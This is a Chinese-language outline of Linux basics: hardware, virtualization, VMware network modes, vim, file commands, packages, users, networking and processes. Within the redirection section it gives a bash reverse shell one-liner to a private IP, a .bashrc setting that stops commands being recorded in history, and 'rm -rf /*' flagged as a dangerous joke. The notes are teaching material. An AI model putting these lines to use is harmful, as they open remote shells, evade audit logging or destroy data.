更多了解请到https://www.linuxcool.com/
计算机的组成
计算机的发展
CPU:Central Processing Unit(中央处理器/处理器)
- 计算机的心脏
CPU的本质
大规模高精度的集成电路
- 控制单元(Control Unit):完成数据处理整个过程中的调配工作
- 控制单元(Control Unit):完成数据处理整个过程中的调配工作
- 存储单元:负责存储原始数据以及运算结果
CPU和芯片的关系
芯片有很多种,CPU芯片是其中一种
其他还有GPU、NPU、FPGA芯片等等
CPU和GPU(显卡)的区别
CPU重要参数
内存也被称为内存储器/主存储器
内存与存储空间(不同)
分类
硬盘-> 外存储器
硬盘和内存的区别
1、读写速度
2、作用
3、持久存储
1、CPU的读写速度>内存读写速度>硬盘读写速度
2、硬盘主要用来存储数据,内存主要其作用是用于暂时存放CPU中的运算数据,以及与硬盘等外部存储器交换的数据。
内存是计算机中重要的部件之一,它是外存与CPU进行沟通的桥梁。计算机中所有程序的运行都是在内存中进行的,因此内存的性能对计算机的影响非常大。
硬盘内的数据可以一直存储至硬盘的寿命结束前
计算机只认识0和1
其他进制的计算机
三进制
八进制
十进制
十六进制
……
计算机语言发展过程
机器语言(低级语言)
二进制代码语言,计算机可以直接识别运行
汇编语言
用英文字母或符号串来替代操作
例:LOAD A
高级编程语言
面向过程
面向对象
特点:编码简单,可跨平台……
为什么需要操作系统(Operating System)?
服务器的组成部分
服务器硬件
服务器操作系统
HTTP容器(Web服务器)
应用程序
软件架构
C/S架构:Client/Server
B/S架构:Browser/Server
软件的服务过程
1、使用网络的程序,都有一个服务器
2、服务器,大部分使用的是Linux操作系统
学习方法
1946年诞生世界上第一台计算机
没有操作系统
Linux图形界面
KDE,GNOME、Xfce、LXDE、MATE
Linux
Linux is not UNIX
Unix分支
Linux内核
内核:设备驱动、文件系统、进程管理、网络通信……
https://www.kernel.org/
升级内核方法
什么是发行(xing)版?(Distribution)
2、linux发行版,就是在内核的基础上,加入用户界面,各种软件的支持。比如CenterOS、小红帽等等。在内核的基础上,开发不同应用程序,组成的一个完整的操作系统。
查看发行版本
Virtual [ˈvɜːtʃuəl] Machine 虚拟机/物理机
虚拟化技术
虚拟机工作原理
虚拟机使用场景
Linux 自带的虚拟化技术
Docker架构图
Docker特点
Docker实现原理
虚拟机和Docker
虚拟机和Docker特点对比
开启虚拟化
VMware下载安装
物理机蓝屏的问题
虚拟机开机导致物理机蓝屏或重启的问题 安装最新版Vmware大概率可以解决
虚拟机被锁定问题
重启或者合上屏幕以后虚拟机连不上
VMware基本功能
基础知识
网卡、路由器、交换机
虚拟交换机
作用
虚拟网卡
作用
关键问题
桥接模式(Bridge)
- 桥接-总结1
- 通信方式
- 1、虚拟机通过连接到虚拟机交换机,利用虚拟网桥连接到主机的网卡
- 2、它不需要用到虚拟网卡,所以没有VMware Network Adapter
- 特点
- 1、物理机和虚拟机地位平等
- 2、虚拟机占用一个独立IP
- 3、使用物理机的网卡访问互联网
- 配置
- 虚拟机IP网段和主机一致
- 桥接-总结2
- 连通情况
- 1、主机和虚拟机可以访问
- 2、虚拟机之间可以相互访问
- 3、可以访问互联网
- 4、可以访问其他主机
- 5、其他主机可以访问本虚拟机
- 使用场景
- 创建一个虚拟服务器在内网提供网络服务
NAT模式(NAT:Network Address Translation)
- NAT-总结1
- 通信方式
- 1、虚拟NAT设备(虚拟路由)连接到VMnet8虚拟交换机——虚拟机联网 用
- 2、主机通过VMware Network Adapter VMnet8虚拟网卡连接到VMnet8 虚拟交换机——主机和虚拟机连接用
- 特点
- 1、虚拟机在外部网络中没有自己的IP地址
- 2、虚拟NAT设备会把专用网络中的 IP 地址转换为主机系统的 IP 地址—— 网络地址转换
- 3、主机可以联网,虚拟机就可以联网
- 配置
- 无
- NAT-总结2
- 连通情况
- 1、主机和虚拟机可以访问
- 2、虚拟机之间可以相互访问
- 3、可以访问互联网
- 4、本机虚拟机可以访问其他主机
- 5、其他主机不能访问本机虚拟机。解决办法:共享网络、端口映射
- 使用场景
- 大部分情况
仅主机模式(Host-Only)
- 仅主机-总结1
- 通信方式
- 主机使用VMware Network Adapter VMnet1虚拟网卡连接到VMnet1虚 拟交换机
- 特点
- 没有了NAT设备(虚拟路由),所以不能上网
- 配置
- 无
- 仅主机-总结2
- 连通情况
- 1、主机和虚拟机可以访问
- 2、虚拟机之间可以相互访问
- 3、不能访问互联网
- 4、不能访问其他主机
- 5、其他主机不能访问本机虚拟机
- 使用场景
- 创建一个与其他机器隔离的网络
三模式
1、命令模式:只能输入命令
2、编辑模式(插入模式):可以修改文本
3、底行模式(底部命令模式):结束操作
问题
1、只读权限
2、临时swp文件
为什么要配置一个静态的IP
静态IP配置不是必要性的
在安装好CentOS虚拟机以后,一般我们会通过Xshell连接到虚拟机,而不是直接使用虚拟机里面的终端(Terminal)输入命令。
问题:如果网络环境发生变化,比如从有线变成无线,或者电脑从办公室移动到家里,主机IP(网段)发生了变化,需要重新设置虚拟机的静态IP吗?
02-VMware+Centos7 静态IP设置方法.docx
虚拟机网络连接成功的标准:
yum是CentOS中的一种软件管理器,通过yum安装软件,可以自动解决包依赖的问题,免去手工安装依赖包的麻烦。
yum使用了一个中心仓库来记录和管理软件的依赖关系,默认为mirrorlist.centos.org,叫做CentOS官方yum源。
03-CentOS7替换yum源为阿里云.docx
远程连接工具
Xshell(个人推荐)
FinalShell(国产免费)
MobaXterm
SecureCRT
添加连接
修改编码解决中文乱码
SSH、SSH Key
SSH(Secure Shell,安全外壳)
SSH Key
1、客户端生成密钥对(公钥、私钥)
2、客户端把公钥发给服务端保存(正常情况需要密码)
3、客户端用私钥加密消息,发给服务端
4、服务端用公钥解密,解密成功,说明密钥匹配
5、客户端免密登录成功
物理机和虚拟机文件传输
Linux系统结构
1、内核
2、Shell
作用
接收用户的命令,经过转换,交给内核去执行
特点
Linux Shell工具
Shell和Terminal
Shell编程/Shell脚本(.sh)
3、文件系统
“一切皆文件”
根目录文件/
bin
存放普通用户可执行的指令
boot
开机引导目录
dev
设备目录
etc
各种配置文件目录
lib
库文件存放地,bin和sbin需要的库文件
media
可移除设备挂载目录
mnt
用户临时挂载其他的文件系统
opt
第三方软件安装目录
proc
虚拟文件系统
root
系统管理员主目录
run
系统运行时所需文件
sbin
只有root才能运行的管理指令
srv
sys
跟proc一样,虚拟文件系统
tmp
存放临时文件目录
usr
应用程序放置目录
var
用户主目录
home directory
工作目录:working directory
目录指代
4、应用程序
命令帮助
关机重启(root用户)
关机
重启
快捷键和命令
Tab键
方向键
Ctrl+r
!cd:
Ctrl+insert
Shift+insert
Alt+insert
Ctrl+E
Ctrl+A
Ctrl+K
Ctrl+U
clear
history -c
别名配置alias
通配符
?
[]
{}
^
系统环境变量
案例:设置JDK环境变量(可跳过,本节不重要)
文件描述符 File Descriptor
重定向
输出重定向
输入重定向
bash反弹连接案例
bash -i >& /dev/tcp/192.168.142.44/7777 0>&1
补充
1、不想让操作系统记录我的输入命令
1、在 ~/.bashrc里缺少一个配置
echo HISTCONTROL=ignorespace >> ~/.bashrc
2、取反符号的用法
命 令 格 式
常规命令格式
Command Options Arguments 命令 选项 参数 rm -rf /*
Options选项:命令的行为方式
Arguments参数:命令的对象
注意:这是一个笑话,且该命令十分危险!!!!!!!,不要执行!!!!
规范
命令选项详细参考资料
文 件 与 目 录 管 理
列出目录内容和属性
命令:ls
全拼:list
选项
-a
-l
-al
-la
格式:ls 选项 文件名
例:
打印工作路径
命令:pwd
切换工作目录
命令:cd
查看文件类型
命令:file[faɪl]
格式:file 需要查找的文件的路径 选项 文件或目录名字
选项
-name名字
-type类型参数
复制文件或目录
命令:cp
全拼:copy[ˈkɒpi]
格式:cp 选项 源文件 目标文件
选项
查找文件或者目录-1
find
格式:find 目录 选项 名字或模式
-name 名字
-type [taɪp]类型参数
-size[saɪz]大小
-exec command
把find找到的内容作为命令的参数去执行 {}就是找到的内容
其他查找命令
创建目录
命令:mkdir
全拼:make direcotry
选项
-p
可以一次性创建多个目录
格式:mkdir 选项 目录名
移动或者重命名
命令:mv
全拼:move[muːv]
格式:mv 选项 原文件 新文件
删除文件
命令:rm
全拼:remove[rɪˈmuːv]
格式:rm 选项 (多个)文件名
删除空目录:rmdir
删除非空目录
-r/R
-f
-v
-i
例如:
创建空文件
命令:touch
格式:touch 选项 文件名
小提示
挂 载 和 链 接
挂载mount
问题:一个目录树怎么使用多个磁盘?
挂载后:
链接ln
全拼:link[lɪŋk]
格式:ln 源文件 链接文件
硬链接
ln 1.php hard.php
vim hard.php
cat 1.php
注意:
软链接(-s)
查看软链接:
如何删除软链接
创建软链接:
注意:
打包 和 压 缩 的 区 别
打包:多个文件变成一个文件——减少文件个数
打包/解包 pack/unpack
打包的作用:减少传输文件的次数
压缩:缩小一个文件的体积——减少文件体积
压缩/解压 compress/decompress
如何评价压缩的好坏
压缩
注意:打包、解包、压缩、解压都需要消耗时间
常 见 压 缩 格 式
HTTP:gzip
Windows:zip、rar、7z
Linux:gzip(tar.gz=.tgz)、bzip2(.bz2)、zip
t a r 命 令
tar常用选项 (tar是Tape Archive的缩写)
-c
-x
-v
-f
tar用法示例
tar其他操作
z i p 命 令
文 本 文 件 和 二 进 制 文件
文本文件
二进制文件
cat
more/less
more/less分屏操作
more/less搜索
/[查找字符] # 配合n键,从上往下查所有。
?[查找字符] # 配合n键,从下往上查所有。
按 Enter 键后:
head/tail
head -n 10 redis.conf
tail -n 10 info.log
tail -f /var/log/messages
grep、管道符号
全拼:Globally search a Regular Expression and Print
全局搜索正则表达式并打印
grep和find命令的区别
管道符号pipe
把前一个命令原本要输出到屏幕的数据当作是后一个命 令的标准输入
command1 | command2 | command3
例如:
wc
全拼:word count
-l或–lines 显示行数
-w或–words 只显示字数
巧妙用法:来统计某一目录下有多少文件
例如:
diff
全拼:different
对比文件
对比目录
-r选项
Windows
Linux
V I 和 V IM的 区 别
VI:Visual Interface
Vim:VI IMproved
V IM配 置 文 件
全局配置
用户配置
详细配置参考:
V IM三 种 模 式
区别
切换
命 令 模 式
错误提示:
移动光标操作
搜索替换操作
删除和复制操作
编 辑 模 式
进入编辑模式
撤消
底 行 模 式
1、软件为什么需要安装
Windows软件安装流程
Windows安装文件
Windows可执行程序
Linux可执行程序
2、脚本和程序的区别
3、Linux安装软件的几种方式
Linux主要派系
Linux软件常见安装方式
源码编译(make)、rpm、deb、yum、apt、 Docker……
源码安装
- 案例(教程合集)
- 41-CentOS7源码方式安装Redis 6.docx
- 42-CentOS7源码方式安装nginx.docx
rpm安装
RedHat Package Manager
rpm选项
rpm缺陷:不能解决软件依赖性
yum安装
YUM(Yellow dog Updater, Modified)
案例(教程合集)
yum操作和选项
DNF和YUM的区别
Debian系
FreeBSD系
4、CentOS安装软件案例
Linux软件安装方式
CentOS启用中文输入法
https://blog.csdn.net/carefree2005/article/details/119607891
43-CentOS7 yum方式安装MySQL 5.docx
5、Linux软件版本管理
update-alternatives
查看:
添加:
切换:
用户与权限
用户组Group
组ID - Group ID - GID
Group相关命令
- 用户必须依赖用户组的存在
用户ID-User ID-UID
用 户 管 理 相 关 文 件
/etc/group
/etc/passwd
/etc/shadow
密码格式
/etc/sudoers
用 户 管 理 基 本 命 令
用户和文件的关系
文件和目录归属
文 件 和 目 录 权 限
用户类别
权限类别
权限类别
修改权限
网 络 基 本 概 念
物理地址/逻辑地址
网卡
MAC地址(Media Access Control)媒体访问控制
IP(Internet Protocal Address)互联网协议地址
例如:
公有私有
NAT
IPv4、IPv6
公网IP地址的分配
动态、静态IP
127.0.0.1
环回地址(loop back)
端口port
域名Domain Name
域名Domain Name
DNS服务器后台配置
网 络 配 置 文 件
查 看 及 配 置 网 络
ifconfig
全拼:network interfaces configuring
位于net-tools工具包
其他选项参数:https://www.linuxcool.com/
ifconfig和ip
ip
位于iproute工具包
添加设备、启动停止网络设备、设置IP、设置网关……
连 通 性 探 测
ping
telnet
远程登录
探测端口
查 看 网 络 连 接
netstat(ss)
全拼:network statistics
查看程序的网络连接情况:
查看端口的网络连接情况:
域 名 相 关
下 载 传 输
常规方式
wget
scp
curl
防 火 墙 设 置
1、查看系统信息
1、日期时间
date
cal
uptime
w
2、系统版本
2、进程管理
1、程序 program
2、进程 process
3、服务 service
systemctl list-unit-files |grep mysql
运行程序
查看进程 top
ps
全拼:process status
ps -ef
ps -aux
pstree
服务管理
systemctl
systemctl和service
停止程序
- kill -信号量 进程号
- 例如:kill -9 11964
3、内存使用情况
4、磁盘使用情况
du
综合命令 sar
5、定时任务
工具:crontab
全拼:cron table
Cron表达式:
crontab命令
定时任务文件